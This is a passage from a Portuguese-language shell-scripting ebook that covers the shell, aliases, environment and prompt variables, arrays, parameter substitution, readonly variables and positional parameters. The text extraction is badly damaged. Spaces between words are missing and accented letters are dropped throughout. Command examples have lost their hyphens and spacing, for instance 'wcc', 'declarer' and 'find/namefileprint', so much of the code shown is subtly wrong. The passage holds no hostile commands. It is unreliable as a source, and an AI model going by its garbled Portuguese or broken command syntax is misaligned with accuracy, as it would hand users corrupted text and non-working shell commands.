Você está na página 1de 151

ShellScripts1

eBook

Shell
Scripts
AdbeelGoesFilho

FortalezaCearBrasil

Verso2006.04.25

AdbeelGoesFilho

ShellScripts2

ADBEELGOESFILHO

Shell
Scripts

VIRTVS
Fortaleza
2006

AdbeelGoesFilho

ShellScripts3

CopyFree(C)2006daVIRTVSEngenhariaeInformticaLtda
Congregamostodososesforosparafornecerinformaesdeamplaqualidade,contudo,devidoao
dinamismodareadeinformtica,osautoresnoassumemresponsabilidadepelosresultadoseusos
dasinformaesfornecidas.
Recomentamosamplamenteaosleitorestestarasinformaesantesdesuaefetivautilizao,ao
tempoemqueagradecemosantecipadamenteporcrticasesugestesprestadas.
Copyright(c)2000,AdbeelGoesFilho.
garantidaapermissoparacopiar,distribuire/oumodificarestedocumentosobostermosda
GNUFreeDocumentationLicense,verso1.1ouqualqueroutraversoposteriorpublicadapela
FreeSoftwareFoundation;semobrigatoriedadedeSeesInvariantesnaaberturaeaofinaldos
textos.
UmacopiadalicenadeveserincludanaseointituladaGNUFreeDocumentationLicense.
Copyright(c)2000,AdbeelGoesFilho.
Permissionisgrantedtocopy,distributeand/ormodifythisdocumentunderthetermsoftheGNU
Free Documentation License, Version 1.1 or any later version published by the Free Software
Foundation;withtheInvariantSectionsbeingLISTTHEIRTITLES,withtheFrontCoverTexts
beingLIST,andwiththeBackCoverTextsbeingLIST.
Acopyofthelicenseisincludedinthesectionentitled"GNUFreeDocumentationLicense".
Estetrabalhofoieditadoecompostoeletronicamenteutilizandosomenteferramenteslivres:

Conhecimentosnecessriosparaaleituradestetrabalho:
Entendimento bsico de sistemas operacionais, Comandos bsicos de Unix, Linux, Solaris,
FreeBSD ou outro sistema operacional com base Unix, Linguagem de programao, Edio
eletrnicadetextos.
EditorResponsvel
Satis
DiagramaoeProduo
Virtvs
VIRTVSEngenhariaeInformtica
RuaCel.RibeirodaSilva,391.CEP60.325210.
MonteCastelo.FortalezaCE.Telefone:+55(85)32833124
www.virtvs.com.br
AdbeelGoesFilho

ShellScripts4

SOBREOAUTOR
AdbeelGoesFilho
adbeel@virtvs.com.bradbeel@dnocs.gov.bradbeel@terra.com.br
EngenheiroCivilpelaUniversidadeFederaldoCear(UFC).
EspecialistaemCinciadaComputaopelaUniversidadeFederaldoCear(UFC).
MestreemCinciadaComputaopelaUniversidadeFederaldoCear(UFC).
EspecialistaemMatemticaComputacionaleOtimizaodeSistemas.
DoutorandoemEngenhariaCivilRecursosHdricos(UFC)
AcadmicodeAdministraodeEmpresaspelaUniversidadeEstadualdoCear(UECE).
ProfessordoCursodeGraduaoemInformticadaUniversidadedeFortaleza(UNIFOR).
CoordenadordeGestoEstratgicadoDepartamentoNacionaldeObrasContraasSecas(DNOCS).
DiretordeEngenhariaeInformticadaVIRTVSEngenhariaeInformticaLtda
Consultornasreasdeengenhariacivileinformticaemempresaseinstituiespblicas.
Consultornareadecustoseacompanhamentodeprojetosdeengenhariacivil.
ConsultordaPERITUSProjetosePesquisasLtda,nareadeorganizao,projetoseinformtica.
ExprofessordoscursosdeProcessamentodeDados,EngenhariaCivil,Agronomia,EngenhariaeAlimentos,
Geologia,MatemticaeEstatisticadaUniversidadeFederaldoCear(UFC).
ExprofessordoCursodeBachareladoemComputaodaFaculdadeLourenoFilho.
ExdiretordeengenhariaeinformticadaRhodesEngenhariaeInformticaLtda.
ExAnalistadeSistemasdaFundaoCearensedeMeteorologia(FUNCEME).

AdbeelGoesFilho

ShellScripts5

AGRADECIMENTOS

VIRTVSEngenhariaeInformticaLtda
DepartamentoNacionaldeObrasContraasSecasDNOCS
UniversidadeFederaldoCearUFC
UniversidadedeFortalezaUNIFOR
FaculdadeLourenoFilhoFLF

AGRADECIMENTOSESPECIAIS

AosmeuspaisElsieStudarteAdbeelGoesdeOliveira
Aosmeusavs(inmemoriam)
AngelinaGoesdeOliveiraeLuisRodriguesdeOliveira
OlgaSalesLopesGurgeleBenjamimStudartGurgel
AminhaesposaCristineStudartdeSantana
AmeugrandemestreProf.Dr.GerardoValdisioRodriguesViana
AomeuorientadoracadmicoedevidaProf.Dr.ClcioFontellesThomaz
AomeuorientadoreincentivadorProf.Dr.NilsonCampos
Aosmeusgrandesmestres:
AntnioGouveiaNeto
AfrodisioDurvalGondimPamplona
AmauryAragoArajo
GensioMartinsdeArajo
SuetnioMota
VicentedePaulaBarbosaVieira
Atodososoutrosque,peloesquecimento,tipicodanaturezahumana,deixamosdecitar.

AdbeelGoesFilho

ShellScripts6

MarcasRegistradas
Duranteestetrabalhoaparecemvriasmarcasregistradas,contudo,oautordeclaraestarutilizando
taisnomesapenasparafinseditorais,embenefcioexclusivodamarcaregistrada,semamnima
intenodeinfrigirregrasdesuautilizao.

AdbeelGoesFilho

ShellScripts7

Sumrio
Capitulo1.Introduo........................................................................................................................................10
1.OShell......................................................................................................................................................10
2.Oquesoosshellscripts?......................................................................................................................12
3.Definies.................................................................................................................................................14
4.Variveis...................................................................................................................................................14
5.FormatodosArquivosdeShellScript.......................................................................................................22
6.Exercicios..................................................................................................................................................34
Capitulo2.ExecuodeProgramas..................................................................................................................36
7.Execuoemforegroundebackground....................................................................................................36
8.Redirecionamento......................................................................................................................................37
9.MetacaractereseWildcards......................................................................................................................40
10.SequnciasdeEscapeANSI...................................................................................................................44
11.CdigosdeEscape.................................................................................................................................49
12.Concluses..............................................................................................................................................50
13.Exercicios.................................................................................................................................................51
Capitulo3.ComandosCondicionais..................................................................................................................52
Capitulo4.ComandosdeRepetio.................................................................................................................62
14.while.........................................................................................................................................................62
15.for............................................................................................................................................................63
16.until..........................................................................................................................................................66
17.case.........................................................................................................................................................66
18.breakecontinue......................................................................................................................................67
19.Redirecionandoloops..............................................................................................................................69
20.select......................................................................................................................................................75
21.Funes...................................................................................................................................................78
22.Tornandoseuscriptamigvel..................................................................................................................87
23.dialog.......................................................................................................................................................89
Capitulo5.ComandosAvanados.....................................................................................................................94
1.cut..............................................................................................................................................................94
2.wc..............................................................................................................................................................98
3.tee..............................................................................................................................................................98
4.sort.............................................................................................................................................................99
5.grep..........................................................................................................................................................100
6.sed...........................................................................................................................................................106
Capitulo6.Bibliografia......................................................................................................................................113
Capitulo7.ApndiceAEndereosInternet...................................................................................................114
Capitulo8.Anexos............................................................................................................................................115
1.Exemplos..................................................................................................................................................116
2.Laboratrios.............................................................................................................................................132
3.Exercicios.................................................................................................................................................140
5.GNUFreeDocumentationLicense..........................................................................................................143

AdbeelGoesFilho

ShellScripts8

AbreviaesUtilizadas
*IX

SistemaoperacionalfundamentadoemUnix

LP

Linguagemdeprogramao

SO

SistemaOperacional

SS

Shellscript

AdbeelGoesFilho

ShellScripts9

Capitulo1.Introduo
1. OShell
Shell, ou interpretador de comandos, o programa disparado logo aps o login
responsvelpor"pegar"oscomandosdousurio,interpretloseexecutarumadeterminadaao.
Estas aes so subrotinas conhecidas pelo nome de system calls. Por exemplo, quando voc
escrevenoconsole"ls"epressiona<enter>,oshelllessastringeverificaseexistealgumcomando
interno(embutidonoprprioshell,tambmchamadodeintrnseco)comessenome.Sehouver,ele
executaessecomandointerno.Casocontrrio,elevaiprocurarnoPATHporalgumprogramaque
tenha esse nome. Se encontrar, ele executa esse programa, caso contrrio, ele retorna uma
mensagemdeerro.Paracadaterminalouconsoleaberto,existeumshellsendoexecutado.Quando
vocentranoseuLinux,eleapresentaologin,paradigitarousurioeasenha.Aodigitarumpar
usurio/senha correto, o Linux abre automaticamente um shell, que vai ficar esperando seus
comandos.
Funcionandocomoumaponte,oShellaligaoentreousurioeokernel.Okernel
quemacessaohardwaredamquina,comodiscorgido,placadevdeoemodem.Porexemplo,
paraousurioacessarumarquivoqualquer,todaestahierarquiaseguida:
USURIO>SHELL>KERNEL>HARDWARE
AntesdeComear
Sevocestacessandoosistemacomousurioadministrador(root),saiaeentrecomo
umusurionormal.muitoperigosoestudarShellusandoosuperusurio,vocpodedanificaro
sistemacomumcomandoerrado.

Vejaoexemploabaixo:
WelcometoLinuxSlackware7.1kernel2.2.16.
virtvslogin:eu
Password:

AdbeelGoesFilho

ShellScripts10

Linux2.2.16.
Lastlogin:MonSep2510:41:1203002000ontty1.
Nomail.
virtvs@mucuripe:~$
Essaltimalinhaoshell.Sevocdigitarocomando"ps",verqueumdosprogramasrodandoo
seushell.Ocomandopslistaosprocessosem:
virtvs@mucuripe:~$ps
PIDTTYTIMECMD
164tty200:00:00bash
213tty200:00:00ps
virtvs@mucuripe:~$
Ouseja,oshellutilizadonesseconsoleobash,queestrodandocomPID164.
Existemdiversostiposde shell:bash,csh,ksh,ash,etc.Porexemplo,oAIX/6000
possui5tiposde shell disponveis:korn shell (ksh),bourne shell (bsh,sh),C shell (csh),trusted
shell(tsh),restrictedshell(rsh).Odefaultparaestesistemaoksh.Omaisutilizadoatualmenteo
bash(GNUBourneAgainSHell).Porissootomaremoscomoreferncia.
Resumindoessaseo,importantesaberqueparacadaterminalouconsoleaberto,
temseumshellrodando.Assim,sevoctem3xtermsabertosnainterfacegrfica,vaiterumshell
paracadaxterm.
Aoexecutaroshellscript,oshellatual(noqualvocdeuocomando)abreumnovo
shellparaexecutaroscript.Assim,osscriptssoexecutadosemumshellprprio(amenosquese
especifique,aochamaroscript,paraexecutlonoshellatual).Issoserimportantequandoformos
tratardevariveisdeambiente.
Ousodealias
Aliasumnovonome,ouapelido,paraocomando.Podeserusadoparaabreviar
longaslinhasdecomandooufazercomquecomandoscomportemsediferentedaexecuopadro.
Sintaxe:

alias[nome[=string]]

Exemplo:
aliascls=clear
aliasls='lslogt'
aliasdir=ls

AdbeelGoesFilho

ShellScripts11

2. Oquesoos shellscripts?
Shellscriptssoconjuntosdecomandosarmazenadosemumarquivotextoqueso
executadosseqencialmente.Nestaprimeiraparte,faremosumaintroduosobreoshell,oformato
desses arquivos e variveis de ambiente. Shell pode ser standard ou restrito, na verdade um
comandoquepossibilitagerartextoscomlgicadeprogramao.muitoutilizadoparamontagem
deambientesdelogineaberturadenovosprocessosqueindicamnovaseo.
Existevriostiposdeshells,amaisutilizadaash,queumlinkdabash,ouseja
/bin/shlinkde/bin/bash
Detalhesimportantes
Qualquershellscriptcriadonecessitana"primeiralinha"deindicarondeseencontra
o shell interpretador,ousejaodestino,queporpadro #!/bin/sh,pormpodetercasosdese
localizaremoutrodiretrio.Tambmdevodizerquetodoshellscriptdeveterpermissoparaobtera
execuo.Casonosejainformadaestaprimeiralinhxoshellusaradefaultdosistema.Sintaxe:
$chmoda+xshellscript
ParacolocarcomentriosassimcomonoPERL,utilizeo#(chamadoculturalmentedesustenido)
OPrimeiroShellScript
OprimeiroShellScriptafazersero"sistema"doexemploanterior,desimplesmentejuntartrs
comandosnummesmoscript.
PassosParaCriarumShellScript
1.Escolherumnomeparaoscript
Jtemosumnome:sistema.
Useapenasletrasminsculaseeviteacentos,smboloseespaoembranco
2.Escolherodiretrioondecolocaroscript
Paraqueoscriptpossaserexecutadodequalquerpartedosistema,movaoparaumdiretrioque
estejanoseuPATH.Paraverquaissoestesdiretrios,useocomando:
echo$PATH
SenotiverpermissodemoverparaumdiretriodoPATH,deixeodentrodeseuHOME
3.Criaroarquivoecolocarneleoscomandos

AdbeelGoesFilho

ShellScripts12

UseoVIououtroeditordetextosdesuaprefernciaparacolocartodososcomandosdentrodo
arquivo.
4.ColocarachamadadoShellnaprimeiralinha
Aprimeiralinhadoscriptdeveser:
#!/bin/bash
Paraqueaoserexecutado,osistemasaibaqueoShellquemirinterpretarestescomandos.
5.Tornaroscriptumarquivoexecutvel
Useoseguintecomandoparaqueseuscriptsejareconhecidopelosistemacomoumcomando
executvel:
chmod+xsistema
ProblemasnaExecuodoScript
"Comandonoencontrado"
OShellnoencontrouoseuscript.
Verifiqueseocomandoquevocestchamandotemexatamenteomesmonomedoseuscript.
Lembrese que no Linux as letras maisculas e minsculas so diferentes, ento o comando
"SISTEMA"diferentedocomando"sistema".Casoonomeestejacorreto,verifiqueseeleestno
PATHdosistema.Ocomando
"echo$PATH"mostraquaissoosdiretriosconhecidos,movaseuscriptparadentrodeumdeles,
ouchameopassandoocaminhocompleto.
Seoscriptestivernodiretriocorrente,chameocomum"./"nafrente,assim:
$./sistema
Casocontrrio,especifiqueocaminhocompletodesdeodiretrioraiz:
$/tmp/scripts/sistema
"PermissoNegada"
OShellencontrouseuscript,maselenoexecutvel.Useocomando"chmod+xseuscript"para
tornloumarquivoexecutvel.
"ErrodeSintaxe"
OShellencontroueexecutouseuscript,pormeletemerros.
Um script s executado quando sua sintaxe est 100% correta. Verifique os seus comandos,
geralmente o erro algum IF ou aspas que foram abertos e no foram fechados. A prpria
mensageminformaonmerodalinhaondeoerrofoiencontrado.

AdbeelGoesFilho

ShellScripts13

3. Definies
BrancoeTABouespaosoamesmacoisa.Umnomeumasequnciadeletras,
digitosou underscores comeandocomumaletraou underscore.Umparmetroumnomeum
digitooualgumdessescaracteres:*,#,?,,$,e!.
Comando :umasequnciadenobrancosseparadosporbrancos.Aprimeirasequnciaou
argumentooargumento0.
Pipeline
:umasequnciadeumoumaiscomandosseparadospor|(ou,paracompatibilidade
histrica,pelo^).Afunodeumapipelinesincronizaraentradaousaidapadroparaumarquivo
dotipoFIFO.
Umalista : uma sequncia de pipelines separadas por;. &, &&, or ||, e opcionalmente,
terminadapor;ou&.
Exemplosdecomandosdoshell:
forname[inword...]dolistdone
casewordin[pattern[|pattern]...)list;;]...esac
iflistthenlist[elselistthenlist]...[elselist]fi
whilelistdolistdone

4. Variveis
Umavarivelondeoshellarmazenadeterminadosvaloresparautilizaoposterior.
Soreasdememriaondepodemserarmazenadosdados.Estesdadospodemsernmeros,textos,
listas de arquivos e at mesmo resultados da saida de comandos que podem ser utilizados
posteriormente.ExistemduascategoriasdevariveisquepodemosdefinirnoambienteUnix:
1. Variveislocais disponveissomenteparaoShellcorrente,nosendoacessadas
pelossubprocessos;
2. VariveisambientaisouglobaisdisponveistantoparaoShellcorrentecomopara
os subprocessos que venham a usar o contedo das variveis definidas. Para
transformarumavarivelcomescopoglobalutilizeocomandoexport.Exemplo:

export<varivel>
Paraavisualizaodasvariveislocais,usaseocomando set.Paraverificarquais
variveisestoexportadas,usaseocomandoenv.
Todavarivelpossuiumnomeeumvalorassociadoaela,podendoseresteltimo
vazio.Paralistarasvariveisatualmentedefinidasno shell digiteocomando set. Parasedefinir
umavarivel,bastautilizarasntaxe(Semespaoaoredordo=):
nome_da_varivel=contedo
Porexemplo,queremosdefinirumavarivelchamada"cor"comovalorde"azul":
AdbeelGoesFilho

ShellScripts14

virtvs@mucuripe:~$cor=azul
Parautilizarovalordeumavarivel,scolocarumsinalde"$"seguidodonomeda
variveloshellautomaticamentesubstituipelovalordavarivel:
virtvs@mucuripe:~$echocor
cor
virtvs@mucuripe:~$echo$cor
azul
Em alguns casos, aconselhvel colocar o nome da varivel entre chaves {}. Por
exemplo, se queroimprimir "azulescuro", comofaria ?Simplesmente echo$corescuro? No
funcionaria,poisobashvaiprocurarumavariveldenome"corescuro".Portanto, temosque
colocaronome"cor"entrechavesparadelimitaronomedavarivel:
virtvs@mucuripe:~$echo${cor}escuro
azulescuro
Algumasvariveisjsopredefinidasno shell,comooPATH,que,comofoidito
antes,armazenaocaminhodosprogramas.Porexemplo,aminhavarivelPATHcontm:
virtvs@mucuripe:~$echo$PATH
/usr/local/bin:/usr/bin:/bin:/usr/X11R6/bin:/usr/openwin/bin:/usr/games:/opt/kde/bin:
/usr/share/texmf/bin:/etc/script
ouseja,quandodigitoumcomando,como"ls",oshellvaicomearaprocurloem
/usr/local/bin, se no encontrlo, vai procurar em /usr/bin e assim por diante. Repare que os
diretriossoseparadosporumsinaldedoispontos(:).
importantedestacarqueo shell possuivriasvariveisprdefinidas,ouseja,que
possuemumsignificadoespecialparaele,entreelas:PATH,PWD,PS1,PS2,USEReUID.
Assim,quandoiniciamosumnovo shell (aoexecutaronossoscript),essasvariveis
especiaisso"herdadas"doshellpai(oqueexecutouoshellfilho).Outrasvariveisdefinidaspelo
usurio,comoavarivel"cor"nosopassadasdoshellpaiparaofilho.
Quandooscriptterminar,oseushell(shellfilho)simplesmentedesapareceecomele
tambmassuasvariveis,liberandooespaoocupadonamemria.
Para tornar uma varivel imune alterao ou deleo, devese usar o comando
readonly

Variveissomenteleituranopodemserapagadas.Elassomentedeixarodeexistirno
momentoemqueforefetuadoologoutdasessodeterminal,ouseoprogramaquecriouavarivel
forencerrado,excetonocasodeoShellscriptestarrodandonamesmainstnciadeinterpretador
queiniciouaexecuodoscriptShell.
readonlynome
Paraapagarumavarivel,useocomandounset:
AdbeelGoesFilho

ShellScripts15

unsetnome
VariveisArray
Tambmconhecidascomovetores.Estetipodevarivelserveparaarmazenarvrios
valoressobumnomeeumndice.Amaneiradedeclararvariveisarrayaseguinte:
NomeDaVariavel[Indice]=Valor
sendoqueIndicedevesernecessariamenteumvalorinteiro.
ImaginemosqueMariaqueiraarmazenarumalistadesuasfrutasfavoritasemumavarivelarray.
Paraissoelafariaoseguinte:
$FRUTA[0]=goiaba
$FRUTA[1]=manga
$FRUTA[2]=pera
$FRUTA[3]=laranja
Supondoqueelecolocouestalistaemordemdecrescentedegosto,parasabermosqualasuafruta
favoritabastadigitarmos:
$echo${FRUTA[0]}

Secolocarmos$FRUTA[0]e shell exibirgoiaba[0](goiabaconcatenadocom[0].Destaforma


notaseanecessidadedousode{}
Agoravejamosumacoisainteressante.Seeudeclararumavarivelassim:
$FRUTA=goiaba
edepoisquiserfazerumarraycomonomeFRUTAeupossofazerassim:
$FRUTA[1]=manga
Destamaneira'goiaba'passaaserarmazenadaemFRUTA[0]
Outracoisainteressantequepodemosdeclararumarrayinteironumanicalinhadecomando.
Paraistousamosasintaxe:
NomeDoArray=(valor1valor2...valorn)
DestamaneiraMariaeconomizariatecladodigitandoisto:
$FRUTA=(goiabamangaperalaranja)
AdbeelGoesFilho

ShellScripts16

Eparavermostodaalistadeumavezs,podemosusaroseguintecomando:
$echo${FRUTA[*]}
Existemvriasoutrasespecificaesparaarrays,aquisobsico.Esevocprecisarusararrays
demaneiramaiscomplexaqueissoprocureadocumentaooficialdobash.
Ambientedousurio
O ambiente do usurio descreve a sesso para o sistema, contendo as seguintes
informaes,geralmentearmazenadasemvariveisdeambiente:
.Caminhoparaodiretriohome

HOME;
.Paraondeenviarseucorreioeletrnico

MAIL;
.Fusohorriolocal

TZ;
.Comquenomevocselogou

LOGNAME;
.Ondeseushellpesquisaroscomandos

PATH;
.Seutipodeterminal

TERM;
.Outrasdefiniesnecessrias.
AvarivelPS1
Estaa"PromptString1"ou"PrimaryPromptString".Nadamaisdoqueoprompt
quenosmostraqueo shell estesperandoumcomando.QuandovocmudaPS1vocmudaa
aparnciadoprompt.Naminhamquinaopadro'\u@\h:\w\$'onde\usignificaonomedo
usurio,\hsignificaonomedohoste\wodiretrioatual,oquedaseguinteaparncia:
meleu@meleu:/usr/doc/LinuxHOWTOs$
Vejaalgumaspossibilidades(Verifiquemaisnomanualdobash):
\d
mostraadataatual
\h
mostraohostname
\sonomedoshell
\t ahoraatual(noestilo24horas)
\T
ahoraatual(noestilo12horas)
\u
nomedousurioqueestusandooshell
\w
nomedodiretrioatual(caminhotodo)
\W
nomedodiretrioatual(somenteonomedodiretrio)
Sevocestiverafimdeteraimpressodequeestnoshelldorootbastatrocaro'$'por'#'
ParaaprenderafazerummontedegracinhascomoPS1dumalidanoBashPromptHOWTO
AvarivelPS2

AdbeelGoesFilho

ShellScripts17

Estaa"SecondaryPromptString".usadaquandoumcomandousamaisdeuma
linha.Porexemplo:
$echom\
>e\
>l\
>e\
>u
meleu
$echo'm
>e
>l
>e
>u'
m
e
l
e
u
Estesinal'>'(maiorespao)oPS2.VocpodeusarosmesmoscaracteresespeciaisqueoPS1
usa.
AvarivelMAIL
Nadamaisdoqueoarquivoondesoguardadosseusemails.Aquinaminhamquina
euusoosendmailcomoservidordeemail,portanto:
meleu@meleu:~$echo$MAIL
/var/spool/mail/meleu
pormseestivesseusandoqmailseria:
meleu@meleu:~$echo$MAIL
/home/meleu/Mailbox
AvarivelSHLVL
Estavarivelarmazenaquantosshellsvocexecutouapartirdaprimeirashell.
Imaginequevocestusandoobasheexecutouobashdenovo,nestasituaooseu
SHLVLvale2.Vejaisto:

$echo$SHLVL
1
$bash#estouexecutandoobashapartirdobash
$echo$SHLVL
AdbeelGoesFilho

ShellScripts18

2
$exit#sadosegundobash
exit
$echo$SHLVL
1
Quandovocinicializascriptsapartirdocomando"source"oscriptexecutadono
shellpai,portantosetiverum"exit"noscriptvocvaiexecutarumlogoff.aqueestautilidade
davarivelSHLVL.QuandovocestnoshellprimrioovalordeSHLVL1.Entovocpode,
atravsdeum"if"porexemplo,executaro"exit"sseSHLVLfordiferentede1.
AvarivelPROMPT_COMMAND
Estabeminteressante.Elaarmazenaumcomandoqueserexecutadotodahoraqueo
promptexibido.Veja:
$PROMPT_COMMAND="date+%T"
19:24:13
$cd
19:24:17
$ls
GNUstep/bons.txtpratica/testeworldwritable.txtMail/hacking/progs/txts/
19:24:19
$
19:24:32
$#issoehumalinhasemnenhumcomando
19:24:49
$
Estavariveltilquandoqueremosbrincarcomoprompt,paraaprendermaissobreissoleiao
BashPromptHOWTO(v.10.Referncias).
AvarivelIFS
Oshellusaestavarivelparadividirumastringempalavrasseparadas.Normalmente
oIFSumespao,umatabulao(Tab)eumcaracterenovalinha(\n).Destamaneira:
istoehumastring
soquatropalavras,poisIFSumespaoeaspalavrasestoseparadasporespao.Agoraseeu
mudarIFSparaum':'destamaneira:
IFS=':'
entoastring:

AdbeelGoesFilho

ShellScripts19

isto:eh:uma:string
conterquatropalavras.Istotilparacasoscomonesteexemplo:
#!/bin/bash
IFS=':'
foritemin$PATH;do
echo$item
done
SeIFSforumavarivelnula(vazia),tudoserconsideradoumanicapalavra.Porexemplo:seo
IFSfornulo,todaessalinhaserconsideradaumanicapalavra
AvarivelRANDOM
Quandovocexibeestavarivel("echo$RANDOM")exibidoumnmeroaleatrio
entre0e32767.

#!/bin/bash
NUM="98$(echo$RANDOM)0"
CONT=$(echon$NUM|wcc)#quantosdigitostem?
while[$CONTlt8];do#senaotiver8digitosacrescenta0's
NUM=${NUM}0
CONT=$(echon$NUM|wcc)
done
echo$NUM
OutrasVariveis
Outrasvariveisquesomuitousadas:
MAILCHECK;HISTFILE;HOSTNAME;LS_OPTIONS;LS_COLOR;MANPATH;SHELL;
TERM;USER;PS3.
Estas so as mais utilizadas, porm existem muitas outras. Para ver quais so as
variveisdefinidasnomomentobastaentrarcomocomando"set".Eparaverapenasasvariveisde
ambienteuse"env".
Olheamanpagedobashnaseo"ShellVariables"paramaisdetalhes.
ConfigurandovariveisdoShell
nome=contedo
Nodevehaverespaoantesoudepoisdosinaldeigual.Issoasseguraqueaatribuiosejafeita
corretamente,nosendointerpretadacomoumcomandocomargumentosseparadosporespao.
Poderemostambemacessarsubstringsemvariaveisnaforma
AdbeelGoesFilho

ShellScripts20

#a=13/05/2004
#b=${a:6:4}
#echo$b
#2004
AvarivelPATH
Armazenaarelaodediretrio,usadapeloShellparapesquisadecomandos. Os
diretriosaserempesquisadosdevemestarseparadospor(:).Lembresequeosnomesdevariveis
sosensveisaocontexto,ousejaPATHnoigualaPaTh.
Exemplo:
exportPATH=/usr/bin:/usr/sbin:.

Exerccios
1. Crieumaliaslimpatelaqueexecuteocomandoclear.
2. Mudeopromptdosistemaparaqueaparea:<usurio>@<diretriocorrente>$
3. Coloqueoaliascriadoanteriormentenoseushell.
4. Elaboreumshellscriptparagerar10nmerosaleatrios.

AdbeelGoesFilho

ShellScripts21

5. FormatodosArquivosdeShellScript
Aprimeiralinhadetodoshellscriptdevecomearcomalgodotipo(Senocolocar
assumidooshellpadro):
#!/bin/bash
aqualindicacomqualshelldeverserexecutadooscript.Nesseexemplo,estamosfalandoparao
shellatualexecutaroscriptcomoshell/bin/bash.Sequisermosqueonossoscriptsejaexecutado
comoshellcsh,devemoscolocarnessaprimeiralinha:
#!/bin/csh
Comousaremosobashcomonosso shell dereferncia,todasaslinhasdosnossos
scriptscomearocom#!/bin/bash
Digamosquevocexecutafreqentementeocomando:
find/namefileprint
que procura na raiz (/) por um arquivo de nome "file". S que incmodo ficar
digitandoessecomandotodavezquesequerprocurarumarquivo.Entovamoscriarum shell
scriptquecontenhaessecomando.Vamoschamaresseshellscriptde"procura".Seucontedofica
assim:
#!/bin/bash
find/namefileprint
Tornemosagoraoarquivoexecutvel:chmod755./procura.Porm,aotentarexecutaronosso
script,teremosumproblema.
./procura
Estescriptirprocurarporumarquivochamado"file".Comoespecificarqualarquivo
queremos procurar ? Seria ideal executarmos o nosso script seguido do nome do arquivo que
queremosprocurar.Porexemplo,queremossaberondeestoarquivo"netscape":
./procuranetscape
aiqueentramas"variveisdeparmetro".
Vamossubstituirnonossoscriptalinhafind/namefileprintpor
find/name$1print
Quandoobashlavarivel"$1",eleasubstituipeloprimeiroparmetropassadona
linhadecomandoparaonossoscript.Ento,seexecutamos./procuranetscape,avarivel"$1"ser
substitudapor"netscape",comoagentequeria.Reparequeavarivel"$2"conteriaosegundo
parmetropassadoparaoscripteassimpordiante.
Sendoassim,qualquercomandocolocadoabaixode find seriaexecutadoapsele.
AdbeelGoesFilho

ShellScripts22

Esseoessencialdoshellscript:poderautomatizaraexecuodeprogramasecomandoscomose
estivessemsendodigitadosdiretamentenoconsoleouterminal.
1.

CapacidadesdesubstituiodoShell

Umacaractersticainteressantonoshellacapacidadedepodermosmanipulartextos,
nmeroseatsadadecomandosatravsdevariveis.Existem3tiposdesubstituionoShell:
1. Substituiodevariveis\parmetros;
2. Substituiodecomandos;
3. Substituiodotil;
Substituiodevariveis\parmetros
Cadavariveltemumvalor associadoaela.Quandoonomedeumavarivel for
precedidoporumasinalde$(dlar),oShellsubstituiroparmetropelocontedodavarivel.Este
procedimentoconhecidocomSubstituiodeVarivel.Umadasmaneirasdeexibirocontedo
deumavarivelusandoocomandoecho.
Existemdoistiposdeparmetros:posicionaleodepalavrachave.Seoparmetroum
digito, ento posicional. Palavras chave (tambm conhecida como variveis) podem ter seus
valoresescritos.
${variavel:string}
Se"variavel"notiversidodefinidaouforvaziasersubstitudapor"string".Ovalor
davarivelnoalterado.Vejaesteexemplo:
$echo${URL:"http://unsekurity.virtualave.net"}
http://unsekurity.virtualave.net
$echo$URL#observequeURLnaofoialterado
${variavel:=string}

Se"variavel"noestiversidodefinidaouforvazia,receber"string".Exemplo:

$echo${WWW:="http://meleu.da.ru"}
http://meleu.da.ru
$echo$WWW
http://meleu.da.ru
${variavel:?string}
Se"variavel"noestiversidodefinidoouforvazia,"string"serescritoemstderr(sadadeerro
padro).Ovalordavarivelnoalterado.Vejaumexemplo:

AdbeelGoesFilho

ShellScripts23

$echo${EDITOR:?"Nenhumeditordetexto"}
bash:EDITOR:Nenhumeditordetexto
$echo$EDITOR
${variavel:+string}
Se "variavel" estiver definida, ser substituda por "string" mas seu valor no ser alterado.
Exemplo:
$echo${BROWSER:+"BROWSERdefinidocomo\"$BROWSER\""}
BROWSERdefinidocomo"links"
VariveisSomenteLeitura
Comosabemosasvariveispodemterseuvalormodificadopelousurio,massens
quisermosvariveisqueNOpossamterseusvaloresalteradosbastadeclararmostalvarivelcomo
somenteleitura.Paratornarumavarivelreadonlypodemosusarocomando"readonly"ouento
"declarer".
Vejaosexemplosaseguir,ambospossuemomesmoresultado:
$readonlyNOME="MeleuZord"
$echo$NOME
MeleuZord
$declarerNOME="MeleuZord"
$echo$NOME
MeleuZord
$NOME=Fulano
bash:NOME:readonlyvariable
$echo$NOME
MeleuZord
Umbomusodestetipodevarivelparagarantirquevariveisimportantesdeum
determinadoscriptnopossamsersobregravadas,evitandoassimalgumresultadocrtico.
Ocomando"readonly"quandousadosemparmetros(ouocomando"declare"apenas
comoparmetro"r")nosmostratodasasvariveisdeclaradascomosomenteleitura.Noexemploa
seguirseforusado"declarer"nolugarde"readonly"teramosamesmasada.
$readonly
declarearBASH_VERSINFO='([0]="2"[1]="05"[2]="0"[3]="1"[4]="release"
[5]="i386slackwarelinuxgnu")'
declareirEUID="1005"
declareirPPID="1"
AdbeelGoesFilho

ShellScripts24

declarer
SHELLOPTS="braceexpand:hashall:histexpand:monitor:ignoreeof:interactivecomments:emacs"
declareirUID="1005"
Existemvariveissomenteleituraquesoinicializadaspeloshell,comoUSER,UID.
TODASasvariveis readonly umavezdeclaradasnopodemser"unsetadas"outerseusvalores
modificados.Onicomeiodeapagarasvariveis readonly declaradaspelousuriosaindodo
shell(logout).
Parmetros
Podemospassarparmetrosparaoshellscriptassimcomonamaioriadosprogramas.
Osparmetrossovariveis,digamos,especiais.Paracomearelasnoobedecemasregrasde
nomeclaturadevariveis,poiselasusamnmeros;etambmnsnopodemosmudarovalordestas
variveispelasvias"tradicionais",paramudarovalordestasnstemosquecontarcomaajudado
shifte/oudoset(comoveremosadiante).
Vejaestarelao:
$0

onomedoshellscript(parmetrozero);

$1a$9

$1oprimeiroparmetro,$9onono,eassimpordiante;

${10},${11}..

quandoonmerodoparmetropossuimaisdeumdgitonecessrioouso
daschaves;

$*

todososparmetrosemumanicastring(excetoo$0)

$@

todososparmetros,cadaumemstringsseparadas(exceto$0)

$#

nmerodeparmetros(semcontarcomo$0).

$?

valorderetornodoltimocomando(explicadomaisadiante);

$$

PIDdoscript;

$!

PIDdoltimocomandoiniciadocom&

AdbeelGoesFilho

ShellScripts25

Exemplo:
#!/bin/bash
#
#"basename"serveparaeliminarocaminhodoarquivoemostrar
#somenteoltimonomedele.Nestecaso:parametros.sh
echo"Nomedoscript:`basename$0`"
echo"Nmerototaldeparmetros:$#"
echo"Primeiroparmetro:$1"
echo"Segundoparmetro:$2"
